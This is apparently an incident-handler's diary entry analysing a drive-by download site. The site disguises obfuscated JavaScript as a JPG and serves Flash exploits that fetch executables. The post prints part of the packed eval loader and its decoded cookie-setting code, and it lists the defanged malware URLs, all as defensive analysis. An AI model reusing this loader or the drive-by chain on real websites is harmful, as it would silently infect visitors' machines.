Marco and Eric wrote in to let us know of a potentially malicious site found at

hxxp://www.play0nlnie.com/pcd/topics/ff11us/20080311cPxl31/07.jpg

The JPG file is actually a script, shown below:

window.onerror=function(){return true;}
function init(){window.status="";}window.onload = init;
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':
e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace
(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('n(2.q.k("i=")==-1){E 5=F D();5.C(5.G()+12*j*j*B);2.q="i=K;J=/;5="+5.I();n(L.y.t().k("s")>0){2.3(\'<r

Using spidermonkey, it decodes to:

if(document.cookie.indexOf("playon=")==-1){var expires=new Date();expires.setTime(expires.getTime()+12*60*60*1000);
document.cookie="playon=Yes;path=/;expires="+expires.toGMTString();

Lets get the swf files and see what they do, wget works.
file 07.swf
07.swf: Macromedia Flash data (compressed), version 9
file 08.swf
08.swf: Macromedia Flash data (compressed), version 9

Virustotal shows 0/32 for both files.

Swftools can show us what the swf files do:

Running the swf files in a web browser gives me the following URLs:
hxxp://www.play0nlnie.com/pcd/topics/ff11us/20080311cPxl31/WIN%206,0,79,0ff.swf
and
hxxp://www.play0nlnie.com/pcd/topics/ff11us/20080311cPxl31/WIN%206,0,79,0ie.swf
Both of which got me a big fat 404.
Either the final files have been removed, or are looking for a different version of the player.

Thanks to Bojan and Jeremy for their help!

Unknown at this time if these SWF files are related to this vulnerability.

Update1: Fiddling with the URL and looking for potentially vulnerable versions of the player rendered this:

hxxp://www.play0nlnie.com/pcd/topics/ff11us/20080311cPxl31/WIN%209,0,115,0ie.swf

Which gives us a couple of things. One is that this would seem to be an exploit against Adobe Flash Player. Second is that the apparent vulnerable version would be 9.0.115.0. Third is that there is likely additional malware to see continuing down the rabbit hole. Interestingly this SWF file may be exploiting CVE-2007-0071 and not the potentially new previously unknown vulnerability announced by Symantec today, assuming they are different. 

At this time Adobe still has not released any significant information at their blog http://blogs.adobe.com/psirt/ some clarification would be nice.

Indeed, hxxp://www.play0nlnie.com/ax.exe is downloaded, then hxxp://www.play0nlnie.com/setip.exe

Virustotal was 7/31 for ax.exe, and 7/31 for setip.exe earlier this evening.

Other examples of sites serving malicious swf files are now rolling in, which is the perfect timing for me to hand off the awesome power of the Handler On Duty (HOD) reigns to Jim. Hit the Big Red Button (BGR)!! Must go InfoCon orange...
